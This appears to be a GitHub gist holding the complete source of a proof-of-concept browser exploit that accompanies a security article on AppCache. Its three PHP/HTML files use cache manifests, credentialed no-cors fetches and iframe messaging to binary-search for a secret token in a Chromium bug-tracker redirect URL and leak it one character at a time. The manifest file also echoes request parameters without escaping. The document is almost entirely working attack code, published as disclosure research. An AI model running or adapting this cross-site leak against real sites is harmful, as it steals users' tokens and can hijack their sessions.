Last active
June 5, 2021 03:36
-
-
Save lbherrera/6e549dcf49334b637c22d76518a90ff6 to your computer and use it in GitHub Desktop.
Source code for the exploit used in the "AppCache's forgotten tales" article (https://blog.lbherrera.me/posts/appcache-forgotten-tales/).
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html manifest="manifest.php?patternA=<?php echo $_GET["patternA"]; ?>&patternB=<?php echo $_GET["patternB"]; ?>&prefix=<?php echo $_GET["prefix"]; ?>"> | |
| <body> | |
| <script> | |
| let patternA = new URL(location).searchParams.get("patternA"); | |
| let patternB = new URL(location).searchParams.get("patternB"); | |
| let prefix = new URL(location).searchParams.get("prefix") || ''; | |
| applicationCache.addEventListener("cached", () => { | |
| fetch("https://bugs.chromium.org/p/chromium/issues/entryafterlogin", { | |
| mode: "no-cors", | |
| credentials: "include", | |
| cache: "force-cache" | |
| }).then(() => { | |
| top.postMessage({patternA, patternB, prefix, match: true}, "*"); | |
| }).catch(() => { | |
| top.postMessage({patternA, patternB, prefix, match: false}, "*"); | |
| }); | |
| }); | |
| </script> | |
| </body> | |
| </html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>PoC</title> | |
| </head> | |
| <body> | |
| <script> | |
| const tryPattern = (patternA, patternB, prefix) => { | |
| let iframe = document.createElement("iframe"); | |
| iframe.id = patternA; | |
| iframe.src = `cache.php?patternA=${patternA}&patternB=${patternB}&prefix=${prefix}`; | |
| document.body.appendChild(iframe); | |
| } | |
| const splitArray = (alphabet) => { | |
| let mid = Math.floor(alphabet.length / 2); | |
| let firstHalf = alphabet.slice(0, mid); | |
| let secondHalf = alphabet.slice(mid, alphabet.length); | |
| return [firstHalf, secondHalf]; | |
| } | |
| const start = (prefix) => { | |
| let alphabet = "_-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$"; | |
| tryPattern(splitArray(alphabet)[0], splitArray(alphabet)[1], prefix || ''); | |
| } | |
| onmessage = (evt) => { | |
| let { patternA, patternB, prefix, match } = evt.data; | |
| let elem = document.getElementById(patternA); | |
| elem.parentNode.removeChild(elem); | |
| if (patternA === "$" || patternB === "$") { | |
| console.log("Final URL => ", prefix); | |
| } else if (patternA.length === 1 && match) { | |
| console.log(`Leak => ${prefix}`); | |
| start(prefix + patternA); | |
| } else if (patternB.length === 1 && !match) { | |
| console.log(`Leak => ${prefix}`); | |
| start(prefix + patternB); | |
| } else if (match) { | |
| tryPattern(splitArray(patternA)[0], splitArray(patternA)[1], prefix); | |
| } else { | |
| tryPattern(splitArray(patternB)[0], splitArray(patternB)[1], prefix); | |
| } | |
| } | |
| onload = () => { | |
| start(); | |
| } | |
| </script> | |
| </body> | |
| </html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php header("Content-Type: text/cache-manifest"); ?>CACHE MANIFEST | |
| NETWORK: | |
| https://bugs.chromium.org/p/chromium/issues/entryafterlogin | |
| <?php | |
| $pattern = $_GET["patternA"]; | |
| $prefix = $_GET["prefix"]; | |
| for ($i=0; $i < strlen($pattern); $i++) { | |
| echo "https://chromiumbugs.appspot.com/?token=".$prefix.$pattern[$i]."* isPattern\n"; | |
| } | |
| ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment